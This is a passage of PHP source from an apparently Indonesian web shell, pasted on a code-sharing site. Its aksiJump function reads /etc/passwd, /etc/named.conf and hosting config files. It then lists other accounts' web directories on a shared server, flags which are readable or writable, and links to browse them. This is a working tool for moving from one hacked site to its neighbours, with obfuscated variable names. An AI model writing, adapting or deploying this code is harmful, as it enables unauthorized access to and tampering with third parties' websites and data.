  703.             echo '<br/><center><a  target="_blank" href="' . $IIIIIIIIIlIl . '' . $IIIIIIIIIllI . '"><img class="wis"src="https://i.ibb.co/hgKSY0K/cooltext317065123408510.png"></a><br><br></center>';
  704.             ;
  705.         }
  706.     }
  707. }
  708.  
  709. function aksiJump($dir, $ip)
  710. {
  711.     $i = 0;
  712.     echo "<div class='card container'>";
  713.     if (preg_match("/hsphere/", $dir)) {
  714.         $urls = explode("\r\n", $_POST['url']);
  715.         if (isset($_POST['jump'])) {
  716.             echo "<pre>";
  717.             foreach ($urls as $url) {
  718.                 $url = str_replace(array(
  719.                     "http://",
  720.                     "www."
  721.                 ), "", strtolower($url));
  722.                 $etc = "/etc/passwd";
  723.                 $f   = fopen($etc, "r");
  724.                 while ($gets = fgets($f)) {
  725.                     $pecah    = explode(":", $gets);
  726.                     $user     = $pecah[0];
  727.                     $dir_user = "/hsphere/local/home/$user";
  728.                     if (is_dir($dir_user) === true) {
  729.                         $url_user = $dir_user . "/" . $url;
  730.                         if (is_readable($url_user)) {
  731.                             $i++;
  732.                             $jrw = "[<font color=green>R</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>";
  733.                             if (is_writable($url_user)) {
  734.                                 $jrw = "[<font color=green>RW</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>";
  735.                             }
  736.                             echo $jrw . "<br>";
  737.                         }
  738.                     }
  739.                 }
  740.             }
  741.             if (!$i == 0) {
  742.                 echo "<br>Total ada $i KAMAR di $ip";
  743.             }
  744.             echo "</pre>";
  745.         } else {
  746.             echo '<center><form method="post">
  747.                List Domains: <br>
  748.                <textarea name="url" class="form-control">';
  749.             $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt", "r");
  750.             while ($getss = fgets($fp)) {
  751.                 echo $getss;
  752.             }
  753.             echo '</textarea><br>
  754.                      <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
  755.            </form></center>';
  756.         }
  757.     } elseif (preg_match("/vhosts/", $dir)) {
  758.         $urls = explode("\r\n", $_POST['url']);
  759.         if (isset($_POST['jump'])) {
  760.             echo "<pre>";
  761.             foreach ($urls as $url) {
  762.                 $web_vh = "/var/www/vhosts/$url/httpdocs";
  763.                 if (is_dir($web_vh) === true) {
  764.                     if (is_readable($web_vh)) {
  765.                         $i++;
  766.                         $jrw = "[<font color=green>R</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>";
  767.                         if (is_writable($web_vh)) {
  768.                             $jrw = "[<font color=green>RW</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>";
  769.                         }
  770.                         echo $jrw . "<br>";
  771.                     }
  772.                 }
  773.             }
  774.             if (!$i == 0) {
  775.                 echo "<br>Total ada $i Kamar Di $ip";
  776.             }
  777.             echo "</pre>";
  778.         } else {
  779.             echo '<center><form method="post">
  780.                List Domains: <br>
  781.                <textarea name="url" class="form-control">';
  782.             bing("ip:$ip");
  783.             echo '</textarea><br>
  784.                <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
  785.            </form></center>';
  786.         }
  787.     } else {
  788.         echo "<pre>";
  789.         $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font><br/>");
  790.         while ($passwd = fgets($etc)) {
  791.             if ($passwd == '' || !$etc) {
  792.                 echo "<font color=red>Can't read /etc/passwd</font><br/>";
  793.             } else {
  794.                 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  795.                 foreach ($user_jumping[1] as $user_pro_jump) {
  796.                     $user_jumping_dir = "/home/$user_pro_jump/public_html";
  797.                     if (is_readable($user_jumping_dir)) {
  798.                         $i++;
  799.                         $jrw = "[<font color=green>R</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>";
  800.                         if (is_writable($user_jumping_dir)) {
  801.                             $jrw = "[<font color=green>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>";
  802.                         }
  803.                         echo $jrw;
  804.                         if (function_exists('posix_getpwuid')) {
  805.                             $domain_jump = file_get_contents("/etc/named.conf");
  806.                             if ($domain_jump == '') {
  807.                                 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  808.                             } else {
  809.                                 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  810.                                 foreach ($domains_jump[1] as $dj) {
  811.                                     $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  812.                                     $user_jumping_url = $user_jumping_url['name'];
  813.                                     if ($user_jumping_url == $user_pro_jump) {
  814.                                         echo " => ( <u>$dj</u> )<br>";
  815.                                         break;
  816.                                     }
  817.                                 }
  818.                             }
  819.                         } else {
  820.                             echo "<br>";
  821.                         }
  822.                     }
  823.                 }
  824.             }
  825.         }
  826.         if (!$i == 0) {
  827.             echo "<br>Total ada $i kamar di $ip";
  828.         }
  829.         echo "</pre>";
  830.     }
  831.     echo "</div><br/>";
  832.     exit;
  833. }
  834. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement